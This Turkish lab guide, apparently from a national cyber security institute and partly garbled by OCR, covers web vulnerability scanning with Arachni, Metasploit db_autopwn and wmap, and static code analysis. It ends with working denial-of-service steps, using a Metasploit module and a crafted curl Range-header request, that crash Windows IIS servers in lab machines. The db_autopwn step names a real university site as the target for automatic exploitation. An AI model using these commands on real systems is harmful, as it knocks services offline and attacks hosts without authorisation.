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DINAMIK ACIK KAYNAK WEB ZAFiYET TARAMA ARACLARI

1. ARACHNI KULLANIMI

m Arachni CLI (Command Line) Kullanimi
a. Default Kullanimi
// Tum zafiyetleri, /plugins/defaults/ dizini altindaki tim plugin’leri,
// tum form - link - cookie denetlemelerini hedef Gzerinde uygular.
// Rapor bulunulan dizine konur.
> ./arachni http://example.com
// Tum zafiyetleri, /plugins/defaults/ dizini altindaki tum plugin’leri
// tim form - link - cookie denetlemelerini hedef Uzerinde ve hedefin
// tum subdomain’leri Gzerinde uygular. Rapor bulunulan dizine konur.
> ./arachni --scope-include-subdomains http://example.com
// Tum zafiyetleri, /plugins/defaults/ dizini altindaki tum plugin’leri,
// tum form - link - cookie denetlemelerini hedef Gizerinde ve hedefin
// tum subdomain’leri Gzerinde uygular. Ciktilama verbose dolayisiyla

// bol olur ve tarama sonucunda rapor belirtilen dizine konur.

> ./arachni --scope-include-subdomains --output-verbose --report-save-
path=/path/example.com.afr http://example.com

b. Default + Ufak Ayarlama Kullanimi

// Sadece XSS (ve onun tirevi zafiyet turlerini), /plugins/defaults/ dizini altindaki
// tim plugin’leri, tim form - link - cookie denetlemelerini hedef sistem (izerinde
// uygular.

> ./arachni --checks=xss* http://example.net
// Cross Site Request Forgery disindaki tiim zafiyet tirlerini, /plugins/defaults/
// dizini altindaki tim plugin’leri, tim form - link - cookie denetlemelerini hedef

// sistem lizerinde uygular.

> ./arachni --checks=*,-csrf http://example.net
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// XSS ve onun tirevi zafiyetler disindaki tim zafiyetleri, /plugins/defaults/ dizini
// altindaki tiim plugin’leri, tiim form - link - cookie denetlemelerini hedef sistem
// Gzerinde uygular.

> ./arachni --checks=*,-xss* http://example.net

// Tum aktif zafiyet tlrlerini (active dizini altindaki tiim zafiyet tirlerini),

// /plugins/defaults/ dizini altindaki tim plugin’leri, tim form - link - cookie

// denetlemelerini hedef sistem lizerinde uygular.

arachni --checks=active/* http://example.net

or

arachni --checks=passive/* http://example.net

Not: active/ ve passive/ dizinleri
> find /home/hefese/arachni-1.5.1-0.5.12 -name "active" -print

ile bulunabilir. Boylece icerisindeki zafiyet listesini gérintileyebilirsin.

c. Custom Kullanim

Sik Kullanilan Parametreler

[T VT VYNV N7 Y VY NYNTNT V) VY NLNT VY VLN ST VY VY VY NT. VT VY NY NV NT Y VYNV NT VT VYN NT VY VYT NTNT VT VY NTVT VY VY NT ST T VL NT ST NV VLN NI VLN NI N ST V7 )

[*] Uyari:

Asagida argumana ihtiya¢ duymayan parametreler siralanmistir.
Argumana ihtiya¢ duyan parametrelere ise 6rnek bir arguman konulmustur.

Audit Settings

--audit-headers // Http basliklarini denetlemeyi aktiflestirir.
--audit-forms // Form bloklarini denetlemeyi aktiflestirir.

--audit-links // Crawling ile bulunan linkleri denetlemeyi aktiflestirir.
--audit-cookies // Http basliklarindaki Cookie'yi denetlemeyi aktiflestirir.
--audit-ui-inputs // Ul'deki girdi kutularina girilen bilgilerin Javascript ile

// tarayicida islendigi tirden girdi kutularini denetlemeyi
// aktiflestirir.

--audit-ui-forms // Ul'deki form bloklarinin tetiklenmesi sonucu bilgilerin
// Javascript ile tarayicida islendigi tiirden form bloklarini
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// denetlemeyi aktiflestirir.

--audit-parameter-names // Denenecek payload'lar parametrelerin argumanlarina
// denenir. Ancak bu konfigurasyon ayari ile payload'lar
// parametrelerin argumanlarina denenecegi gibi
// parametrelerin isimlerine de (name’lerine de) denenir.

Http Settings

--http-user-agent "Arachni/v1.5.1"
--http-request-concurrency 1
--http-request-header "TEST=TUBITAK-SGE"

--http-request-header "Cookie=PHPSESSID=
--input-force

Vuln Types

--checks=*,-trainer

Ayrica;

--checks=[eklenecekZafiyetTurleri]

// istemci bilgisi manuel belirtilebilir.
// Thread sayisi girilir.
// Custom http header'lar girilebilir.

// Input default bir value'ya sahip olsa
// bile denenecek payload'lar bu

// input'un Gzerinde denensin

// direktifi verilir (zorlamasi yapilir).

// Tum zafiyetleri hedef sistem
// tizerinde dene. - ile belirtilen
// zafiyet(ler)

Arachni’de mevcut zafiyet tlrlerini gormek istersen

Terminal:
>./arachni --checks-list

komutunu girebilir ve boylece siralanan zafiyetlerden uygun gérdiginin .rb

uzantili dosya ismini (.rb’sini almadan)

--checks=vulnName1l

yada

// sadece vulnName1 taramasi

--checks=*,-vulnName1l,-vulnName2 // vulnName1l ve vulnName?2

// disinda tim taramalar

seklinde kullanarak spesifik zafiyet taramalari yapabilirsin.
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Plugins

--plugin=autologin:url=http://tubitak-hasanfsimsek3 // AutolLogin Plugin’i (Tarama
/DVWA-master/login.php,parameters='username=admin // Yapmadan Once Oturum A¢ma
&password=password',check='Logout' // islemi)

>>>>> Aciklama

autologin plugin’inin son parametresi check ile oturum acildiginda gériinen ama oturum
aciimamisken gériinmeyen bir string girilir. Boylece tool tarama esnasinda oturumun agik
oldugundan emin olur. Aksi durumda tekrar login olmaya ¢alisir. Bu, 6rnegin login
timeout’a diistliglinde otomatikmen yeniden login olmayi saglar ve taramanin saglikh bir
sekilde devam etmesini saglar.

--scope-exclude-pattern="csrf|setup\.php|security\.php // Autologin ile Oturum Ag¢ma
|logout\.php" // Sonrasi Oturumun Kaybina
// Neden Olabilecek ya da
// Oturumu Bir Sekilde
// Bozacak Muhtemel
// Dizinleri ya da Web
// Sayfalarini Hari¢ Tutma

>>>>> Aciklama

DVWA'nin csrf dizini (sifre degistirme senaryosuna sahip), setup.php web sayfasi,
security.php web sayfasi ve logout.php web sayfasi oturumun kaybina neden olabilecek
aktiviteler icerdiginden tarama scope’unun disinda tutulmuslardir.

--plugin=timing_attacks // Tarama zamanini uzatsa da
// timing tira saldirilar yap.

--plugin=uncommon_headers // Yaygin olmayan http
// header'larini kullan.
--plugin=uniformity

--plugin=autothrottle // Taramanin stabilitesini temin
// etmek amaciyla gerekirse
// tarama hizini dislr ve hizi
// optimum hale getir.
--plugin=discovery
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Ayrica;
--plugin=[eklenecekBaskaPluginler]

Baska secilebilecek plugin’ler gérmek ve ne ise yaradiklarini okuyarak ona
gore segcmek istersen

Terminal:
>./arachni --plugins-list

komutunu kullanabilir ve bodylece ekranda siralanan plugin’lerden uygun
gordiginin .rb uzantili dosya ismini (.rb’sini almadan)

--plugin=pluginlsmi

seklinde kullanarak plugin’leri taramana dahil edebilirsin. Eger plugin’in
actklamasini okurken plugin’in parametrelerinin oldugunu goriirsen yukarida
gosterilmis AutoLogin plugin’inin parametre ekleme syntax’ina bakarak
sectigin plugin’inin parametrelerini uygun sekilde kullanabilirsin.

Reporting Settings
--report-save-path /home/hefese/Desktop/

Restore Settings
--snapshot-save-path /home/hefese/

Output Settings During Scanning
--output-verbose

Custom Kullanim Ornegi

[T VT VYNV N7 V7 VY NYNT.NT VY VYN NT VY VU NTNT VY V7 VI NT.NT VY NY NV NT Y VYNV N NT VT NYNDNT VY VYD NT VT VT NI NT T Y N NT ST T VL NT NI N VL NN N Y VLN NI T ST N )

Terminal:

> .[/arachni

--http-user-agent
"Arachni/v1.5.1" --http-request-concurrency 1 --http-request-header "TEST=TUBITAK- SGE"
--input-force --checks=*,-trainer --plugin=pluginName:param1=http://example.com/
login.asp='username=abc&password=sifre',check='Logout' --scope-exclude-pattern="logout
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\.php" --plugin=timing_attacks --plugin=uncommon_headers --plugin=uniformity --plugin
=autothrottle --plugin=discovery --report-save-path /home/hefese/Desktop/ --snapshot-
save-path /home/hefese/ --output-verbose http://example.com

Terminal:

> chmod a+x "/home/hefese/Desktop/example.com 2018-11-19 23_44 55+0300.afr"
> ./arachni_reporter "/home/hefese/Desktop/example.com 2018-11-19 23_44 55+0300.afr"
--reporter=html:outfile=/home/hefese/Desktop/rapor.html.zip

> unzip /home/hefese/Desktop/rapor.html.zip

> cd rapor/

> firefox /home/hefese/Desktop/rapor.html

Not:

Rapor ¢ikti paketinin uzantisini zip yapman sarttir. Béylece afr uzantili binary rapor
kaynagi diizgln bir sekilde html dosyasina zip halinde gikabilecektir. Zip icerisindeki
HTML dosyasini sorunsuz goriintiileyebilmek icin html dosyasini ve diger bilesenlerini
zip’in igerisinden gikarman gerekmektedir.

Not 2:

Html disinda baska rapor formatlari da vardir. Orn; json, yaml, xml, txt, ... gibi.
Tim rapor formatlarini gérmek igin

> ./arachni_reporter --reporters-list

komutunu girebilirsin.

VLV NE NV VN NI N VL VNNV VT V) LVL VLV NI NE VL NN N L VN

d. Uygulama // Arachni CLI Tool'u ile Loopback’teki DVWA’yi Tarama
[+] Birebir denenmistir ve basariyla uygulanmistir.

Saldirgan Makina : Ubuntu 18.04 LTS Ana Makinasi

Hedef : Localhost’taki DVWA (Yenisi)

Ubuntu 18.04 LTS Terminal:

// Tarama baslar
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> .[arachni --audit-headers --audit-forms --audit-links --audit-cookies --audit-ui-inputs
--audit-ui-forms --audit-parameter-names --audit-with-extra-parameter --http-user-agent
"Arachni/v1.5.1" --http-request-concurrency 1 --http-request-header "TEST=TUBITAK- SGE"
--input-force --checks=*,-trainer --plugin=autologin:url=http://tubitak-hasanfsimsek3/
DVWA-master/login.php,parameters='username=admin&password=password',
check="Logout' --scope-exclude-pattern="csrf| setup\.php|security\.php|logout\.php" --
plugin=timing_attacks --plugin=uncommon_headers --plugin=uniformity --
plugin=autothrottle --plugin=discovery --report-save-path /home/hefese/Desktop/ --
snapshot-save-path /home/hefese/ --output-verbose http://tubitak-hasanfsimsek3/DVWA-
master/

Cikti:
[~] Scanned completed.

[~] Report is saved in /home/hefese/Desktop/tubitak-hasanfsimsek3 2018-11-19 23_44 55
+0300.afr

// Raporu Hazirlama

> chmod a+x "tubitak-hasanfsimsek3 2018-11-19 23 44 55 +0300.afr"

> ./arachni_reporter "/home/hefese/Desktop/tubitak-hasanfsimsek3 2018-11-19 23 44 55
+0300.afr" --reporter=html:outfile=/home/hefese/Desktop/nihai_rapor.html.zip

> unzip /home/hefese/Desktop/nihai_rapor.html.zip

> cd rapor/
> firefox /home/hefese/Desktop/nihai_rapor.html

m Arachni Web App Kullanimi
a. Default Kullanimi
x) Custom Profil Olusturma
Tarama profil adi : Deneme
Olusturulma Sekli : Default profil secilip sol Gstteki mavi simgeye
(Create a new profile based on ‘Default’) tiklanarak
custom sablon olusturulur.

y) Olusan Profili Konfigure Etme

Olusan profil dosyasinda taramada ihtiya¢ duyulabilecek konfigurasyon ayarlari
yapilabilir. Orn;

- Autologin Plugin’i enable edilir ve arachni’nin tarayacagi web uygulamasina login olmasi
saglanir.
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URL: http://example.com/login.asp
Parameters:  username=admin&password=123&login=1
Check: Logout

- Tarama boyunca harig tutulacak scope belirlenir.

Scope Exclude Path Patterns: logout\.asp
changePassword\.asp
profile

Not

Arachni web arayiiziindeki “Scope Exclude Path Patterns” arachni command line’da
--scope-exclude-pattern="logout\.asp | changePassword\.asp | profile" seklinde
kullanilmaktadir.

z) Taramaya Baslama

URL: http://example.com

Profil: Deneme (Bizim olusturdugumuz)

Instance Count : 1

Method: Direct

Go!

[-] Uyari

Thread sayisi 1'den fazla olunca taramanin stabilitesi bozulabilir. Bunu gézéniinde
bulundurun.

k) Raporlama

Taramanin bittigi ekranin en solundaki kisimda yer alan indir butonuna basilir.

b. Uygulama [Arachni Web App ile Loopback’teki DVWA’yI Tarama]
x) Custom Profil Olusturma

Tarama Profili Adi :DVWA

Olusturulma Sekli : Default profil secilip sol Gistteki mavi simgeye
(Create a new profile based on 'Default')
tiklanarak custom sablon olusturulmustur.
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y)

Audit bashg altindaki "Audits elements with both GET and POST requests" secenegi
checked yapilmistir.

2)

Plugins bashgi altindaki AutoLogin script'i tick yapiimistir ve acilan panele asagidakiler
girilmistir.

URL:

http://hostname/DVWA-master/login.php Arachni loopback adresi (127.0.0.1 veya
localhost'u) tarayamiyor. O nedenle kendi
makinendeki bir web uygulamasini taramak
icin makinenin hostname'ini url'ye koymalisin.
Bu 6rnek icin http://TUBITAK-
HASANFSIMSEK3 /DVWA-master/ kullanildi.

Parameters:

username=admin&password=password Belki baska uygulamalarda kullanici adi ve
sifre disinda baska génderilen degiskenler de
olabilir. Onlari da (yani o ekstra parametre ve
degerlerini de) tahminimce eklemek gerekir

Check Pattern:

Logout Login olunduktan sonra ekrana gelen
Sayfadaki bir string buraya konur. DVWA icin
Logout string'i konulmustur. Yalniz, buraya
konacak string login ekraninda olmamali. Bu
sayede program login olunup olunmadigi
check'ini yapabilecek

t)

Scope basligi altindaki "Scope exlude path patterns" bélimine
csrf

setup\.php

security\.php

logout\.php

bilgileri satir satir girilmistir.

u)

DVWA'yi taramak icin DVWA-master/config/config.inc.php dosyasindaki default security
level ayari low yapilmistir.
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v)

DVWA'yi tararken Trainer modill hata Gretmekte. O nedenle profil konfigurasyon
ayarlarindaki Active bashgi altinda yer alan Trainer (trainer) secenegi unchecked yapilmistir
ve sorun ¢Ozllmustar.

k)

DVWA'yi tararken Health Map modiili hata Gretmekte. O nedenle profil konfigurasyon

ayarlarindaki Plugins basligi altinda yer alan Health map (healthmap) segenegi unchecked
yapilmistir ve sorun ¢6zUilmustr.

[) Taramaya Baslama

URL: http://TUBITAK-HASANFSIMSEK3/DVWA-master/
Profil: DVWA (Bizim olusturdugumuz)

Instance Count : 1

Method: Direct

Go!

[-] Uyari

Loopback adreste hem arachni web app icin bir sunucu hem de DVWA web app icin bir
sunucu ¢ahsir vaziyette oldugunda arachni web app tarama yukiind taslyamayabilir. Bu
nedenle tarama, olmasi gerekenden daha erken bitebilir.

Ornegin arachni web app’de thread sayisi 1'den fazla yapilinca hedef web uygulamasi
DVWA'da bulunan zafiyet bulgulari thread sayisi 1 iken bulunan zafiyet bulgularina gore
oldukga az olmaktadir. Ne zaman thread sayisi 1’e indirilince o zaman tarama epey uzun
slrlyor ve bulgularda goreceli olarak fazlalasma ve ¢esitlenme oluyor. Bu nedenle arachni
web app’i sadece harici bir sistemi tarayacagimiz zaman kullanmamiz daha dogru bir
tercihtir. Eger loopback adresteki bir web uygulamasi taranacaksa arachni web app yerine
arachni command line tool kullaniimalidir. Buna ilaveten arachni web app ile harici bir
sistem taranirken yine de en saglikli sonuca ulasmak icin thread sayisini 1’de tutmakta fayda
vardir. Clinku thread konfigurasyonu hakkinda arachni manual sayfasinda soyle bir ibare
var: "Note: If your scan seems unresponsive, try lowering the limit to easy the server's
burden (sunucunun yikint kolaylastirmak icin)." Son olarak arachni’yi komut satirindan
kullanarak bir sistemi tarama web arayiziini kullanarak bir sistemi taramaya gére daha
performanshdir.

m) Raporlama

Taramanin bittigi ekranin en solundaki kisimda yer alan indir butonuna basilir.
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2. METASPLOIT DB_AUTOPWN PLUGIN’i

UYARI

Eski Kali'de bu plugin galisiyor
(kali-linux-1.0.4-amd64)

Yeni Kali'de bu plugin ¢alisiyor
(Kali 2018.1 x64)

Kullanimi

(Eski Kali - 1.0.4-amd64 igin)
wget https://github.com/PsychoSpy/metasploit-framework/blob/autopwn-
modules/plugins/db_autopwn.rb

(Yeni Kali - Kali 2018.1 x64 igin)
wget https://raw.githubusercontent.com/hahwul/metasploit-
autopwn/master/db_autopwn.rb

adresinden plugin'ini indir.
ii)
db_autopwn.rb dosyasini

(Eski Kali - 1.0.4-amd64 igin)
/usr/share/Metasploit-Framework/plugins/ dizini icerisine

(Yeni Kali - Kali 2018.1 x64 icin)
/usr/share/metasploit-framework/plugins/ dizini igerisine

kopyala.
iii)
Msfconsole'u ag ve plugin'i yikle.

(Eski Kali - 1.0.4-amd64 icin)
> load db_autopwn.rb
> db_autopwn -h

(Yeni Kali - Kali 2018.1 x64 icin)
> load db_autopwn
> db_autopwn -h

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi
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iv)
db_autopwn ile otomatik bir sekilde exploit'leri www.karabuk.edu.tr'ye taratmak igin:

> db_nmap www.example.com
> db_autopwn -p -t -e

-p : nmap ile taranilan sistemin agik portlarina gére hangi exploit'in denebilecegini
metasploit'e birakiriz.

-t : Uygun olan exploit'lerin ekrana verilmesini saglariz.

-e : Exploit'leri execute ederiz.

Boylece yiizlerce exploit otomatik bir sekilde hedefe denenecektir.
Denemeler sonucunda sayet session elde edilmisse edildigine dair,
edilmemisse su sekilde bir ¢ikti sizi karsilayacaktir:

GCikti:

[*] The autopwn command has completed with 0 sessions.
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3. METASPLOIT WMAP PLUGIN’i

UYARI

Eski Kali'de bu plugin galisiyor
(kali-linux-1.0.4-amd64)

Yeni Kali'de bu plugin ¢alisiyor
(Kali 2018.1 x64)

Kullanimi

*wmap zaten plugins klasori altinda vardir. Sadece

(Eski Kali - 1.0.4-amd64 igin)
msf > load wmap.rb

(Yeni Kali - Kali 2018.1 x64 igin)

ile plugin yiklenir.

ii)
Ardindan hedef web uygulamasinin url'i girilir.

msf > wmap_sites -a http://www.example.com

iii) Daha sonra hedef web uygulamasinin IP'si 6grenilir.
msf > wmap_sites -I
Cikti olarak girdigin web sitesinin IP'sini dondurecektir:

[...] 193.140.9.6  [..]

iv) Bu IP adresini asagidaki gibi kullanip taramayi baslatabilirsin.

msf > wmap_targets -t http://193.140.9.6
msf > wmap_run -e
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v) Tarama bittiginde bulunan zafiyetleri listelemek icin
msf > wmap_vulns -
diyebilirsin.

(Ayrica bkz. https://github.com/PsychoSpy/metasploit-framework/blob/autopwn-
modules/plugins/wmap.rb)

TUBITAK — BILGEM — Siber Givenlik Enstitisi
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STATIK ACIK KAYNAK WEB ZAFiYET TARAMA

1. wap - Web Application Protection / Source Code Static Analysis & Data Mining
Tool

Kullanimi

./wap -h
./wap -a -all -p /var/www/dvwa/

-a :Don't correct / change codes

-all : Use all type of scanning technique
-p : Project directory path

Tool indirme Linki: http://awap.sourceforge.net/download.html

2. Rips
http://localhost/rips-0.55/

/var/www/dvwa/ // [+] check subdirs

Tool indirme Linki: https://sourceforge.net/projects/awap/files/

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi
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WEB SUNUCUYA MAVi EKRAN VERDIREREK DOS YAPMA

a. Windows Server 2008 R2 'ye Mavi Ekran Verdirme
(+) Bu baslik birebir denenmistir ve basariyla uygulanmistir.
Bu yazida Kali Linux 2018 sanal makinasindan Windows Server 2008 R2 sanal makinasina mavi ekran
verdirme islemi yapilacaktir. Béylece Windows Server 2008 R2 sanal makinasi mavi ekran verdiginde
servis disi kalacagindan hizmet olarak sundugu internet sitesine erisim engellenmis olacaktir.
Gereksinimler

- Kali Linux 2018 (Downloads / Kali-Linux_2018.1-64bit.7z ) // Saldirgan

- Windows Server 2008 R2 // Web Sunucusu
Windows Server 2008 isletim sistemine sahip sunucuyu IS hizmeti sunan bir web sunucusu yapmak
icin gerekli yapilandirma ayarlari i¢in bkz. /home/hefese/Downloads/Windows Server 2008/Windows

Server 2008'i Web Sunucusu Yapma.

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server Sanal Makinasi:

o

Recyde Bin

e+ Command Prompt

Windows IP Configuration

Media disconnected
sgea.local

6abd:=33:328e:53ef :fc?f
e:53ef :fc?fx13

6:00 PM

J TH\’a o %8 s g, ™
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Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan Kali Linux 2018 sanal makinasindan hedef web
sunucusuna baglanalim.

Kali Linux 2018 Sanal Makinasi:

11S7 - Iceweasel (o N -]
_J nus7 x | *
€ @ 17216.3.128 e | [ search | &« =& +F A o =

[ Most Visited~ JllOffensive Security "W Kali Linux "\ Kali Docs "\ Kali Tools KBExploit-DB Wy Aircrack-ng

IS

internet information services

Goruldigu tizere Kali Linux 2018 sanal makinasindan hedef web sunucusunun sundugu internet
sitesine erisim yapabilmekteyiz. Simdi Kali Linux 2018 sanal makinasindan metasploit kullanarak
hedef web sunucusuna mavi ekran verdirelim. Bdylece Kali'den hedef web sitesine erisemedigimizi,
yani hedef web sitesinin servis disi kaldigini goérelim.

Kali Linux 2018

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

>set RHOSTS 172.16.3.128

> set TARGETURI /welcome.png // Windows Server 2008 'deki resim
>run

Not: Saldirinin ise yaramasi i¢in hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segilir.

Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.
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Modiil galistiktan sonra Windows Server 2008'in ekranina bakildiginda mavi ekran goriilecektir.

Windows Server Makinasi:

detected and windows has been shut down to prevent damage

mputer,
(=]

chnical information:

FFFFF88000

data for c dump
for ~rash dum P

Dolayisiyla Kali Linux 2018'den hedef web sayfasina tekrar erismek istedigimizde erisim
gerceklesmeyecektir.

Kali Linux 2018 Makinasi:
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Applications ~ Places ~ ) Iceweasel ~ Mon 02:47
Problem loading page - Iceweasel [ I -]
k.d Problem loading page x -
& 172.16.3.128 wB 9 3 A © —

B Most Visited~  [JillOffensive Security & Kali Linux "\ Kali Docs “§ Kali Tools KMExploit-DB Wy Aircrack-ng

(D Unable to connect

Iceweasel can't establish a connection to the server at172.16.3.128.

e The site could be temporarily unavailable or too busy. Try again in a few
moments.

* If you are unable to load any pages, check your computer’s network
connection.

e If your computer or network is protected by a firewall or proxy, make sure
that Iceweasel is permitted to access the Web.

Try Again

Boylece bir metasploit moduli kullanarak hedef web sitesini servis disi birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi icin yaptigimiz bu saldiriya
DOS saldirisi adi verilir.

ms15 034 ulonglongadd modiliinden etkilenen siiriimler Windows Server 2008 R2 (ki bu makalede
bu windows stiriimine saldiri yapilmistir), Windows Server 2012, Windows Server 2012 R2, Windows
7, Windows 8 ve Windows 8.1'dir.
b. Windows Server 2012 R2 SP2 'ye Mavi Ekran Verdirme
(+) Bu baslik birebir denenmistir ve basariyla uygulanmistir.
Bu baslik altinda Kali 2016 sanal makinasindan Windows Server 2012 R2 SP2 sanal makinasina mavi
ekran verdirme islemi yapilacaktir. Boylece Windows Server 2012 R2 SP2 sanal makinasi mavi ekran
verdiginde servis disi kalacagindan hizmet olarak sundugu internet sitesine erisim engellenmis
olacaktir.
Gereksinimler

- Kali Linux 2018 (Downloads / Kali-Linux_2018.1-64bit.7z ) // Saldirgan

- Windows Server 2012 R2 SP2 // Web Sunucusu

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server 2012 Sanal Makinasi:
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Select Administrator: Command Prompt

B8 Windows Server 2012R2

] L‘l' = n lnﬁt_‘(b 1]12!;?18

Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan Kali Linux 2018 sanal makinasindan hedef web
sunucusuna baglanalim.

Kali Linux 2018 Sanal Makinasi:

TUBITAK — BILGEM - Siber Giivenlik Enstitlsi
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1IS Windows Server - Mozilla Firefox (Build 20170809204109)

1IS Windows Server
€ @ 17216375 ¢ @ QSear B 4+ & O «v I

) 5 Most Visitedv &8 OSCP Student Control . [fOffensive Security "\ Kali Linux '\ Kali Docs '\ Kali Tools * Exploit-DB W Aircrack-ng

B8 Windows Server

Internet Information Services

Welcome Bienvenue Tervetuloa
5% Benvenuto
) '.' Bienvenido Hos gelding = oonan oo
Bem-vindo “
Kahug Ao6p
Vitegte Oploarte nen EEESIEIERN noxanosars [HdVOZOlOK

La e WD

Microsoft

Goruldigu tizere Kali Linux 2018 sanal makinasindan hedef web sunucusunun sundugu internet
sitesine erisim yapabilmekteyiz. Simdi Kali Linux 2018 sanal makinasindan metasploit kullanarak
hedef web sunucusuna mavi ekran verdirelim. Béylece Kali'den hedef web sitesine erisemedigimizi,
yani hedef web sitesinin servis disi kaldigini gérelim.

Kali Linux 2018

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

>set RHOSTS 172.16.3.128

> set TARGETURI /iis-85.png // Windows Server 2012 'deki resim
>run

Not: Saldirinin ise yaramasi igin hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segcilir.

Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Modiil ¢alistiktan sonra Windows Server 20012'nin ekranina bakildiginda mavi ekran gérilecektir.
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Windows Server 2012 Makinasi:

Dolayisiyla Kali Linux 2018'dan hedef web sayfasina tekrar erismek istedigimizde erisim
gerceklesmeyecektir.

Kali Linux 2018 Makinasi:
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Tue 14:04 [
Problem loading page - Mozilla Firefox (Build 2017080820410%) e 0 0
| Problem loading page % | +
€ @ 172.163.75 = ® ear T E O AT e =
. i Most Visitedw & OSCF Student Control . [JfJOffensive Security S Kali Linux ', Kali Docs ", Kali Tools s Exploit-D8 \&lru*&t ng »
f
||
L)
-
e G) Unable to connect
5 Firefiax can't establish a connection to the server at 172.16.3.75.
- = The
- * If you are unable to load any
=  If your computer or network is protecte fo is permitted to access the
Web.
Try Again

wwwaircrack-ng.org

Boylece bir metasploit modulii kullanarak hedef web sitesini servis disi birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi icin yaptigimiz bu saldiriya
DOS saldirisi adi verilir.

ms15 034 ulonglongadd modiiliinden etkilenen siirimler Windows Server 2008 R2 (ki bu makalede
bu windows stiriimine saldiri yapilmistir), Windows Server 2012, Windows Server 2012 R2, Windows
7, Windows 8 ve Windows 8.1'dir.

Ekstra

(+) Bu baslik denenmistir ve basariyla uygulanmistir.

Bu saldirida (mavi ekran verdirme saldirisinda) hedef 1IS sunucusundaki Http.Sys Remote Code
Execution zafiyetinden faydalaniimistir. Bu zafiyet gonderilen 6zel http talepleri sonrasi

somdirilebilmektedir. Simdi bu 6zel http taleplerini modiille degil de elle olusturup génderelim.
Boylece hedef IS sunucusuna yine mavi ekran verdirelim.

Oncelikle hedef sistemde statik bir kaynak belirlememiz gerekmektedir. Bunun nedeni saldirinin
ancak hedef sistemden statik bir kaynak talep ettigimizde ise yariyor olusundadir. Dolayisiyla hedef
[IS sunucumuzdaki resim dosyasini kaynak olarak belirleyelim.

http://172.16.3.136/welcome.png
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Daha sonra HTTP talebimize Range header'ini 6zel bir deger ile ekleyelim

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136...
* Connected t0 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
< Accept-Ranges: bytes
< ETag: "e8893b762ced21:0"
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>
* Connection #0 to host 172.16.3.136 left intact

Boylece 6zel http talebimiz hedef sunucuya gidecektir. Http yaniti “HTTP/1.1 416 Requested Range
Not Satisfiable” bilgisine sahip olarak donerse hedef sistem bliyiik olasilikla zafiyete sahiptir deriz.
Gonderdigimiz http talebine karsin gelen http yaniti bu bilgiye sahip oldugundan bundan sonraki
adim hedef sistemin zafiyetini sémirmektir. Bu islem i¢in http talebindeki Range header degeri 18-
18446744073709551615 ile doldurulur ve tekrar gonderilir.
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Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Boylece paketi gonderdigimizde hedef sistemin ekrani gidecektir ve mavi ekran verecektir. Dolayisiyla
dos islemi basariyla gerceklesmis olacaktir.

UYARI: Yukaridaki curl kodu ile hedef sistem bazen mavi ekran verirken bazen de vermemistir.
Dolayisiyla curl kodu ile mavi ekran verdirme islemi zaman zaman basarisiz olabilmektedir. Ancak curl
kodunu tekrar tekrar denemeler sonucu mavi ekran gelebilmektedir.

Not: curl ile Ubuntu 14.04 LTS'den Windows Server makinalarina saldiri paketi tekrar tekrar
gonderildiginde curl her defasinda patlamistir ve Ubuntu terminaline sagma sapan bircok karakter
yigmistir. Windows server ise yerli yerinde durmustur. Dolayisiyla saldiri islemi Kali Linux 2018'nin
curl'ii ile gergeklesebilmektedir.

Curl ile ayni islem Windows Server 2012 'ye denendiginde

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=0-18446744073709551615

>
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< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
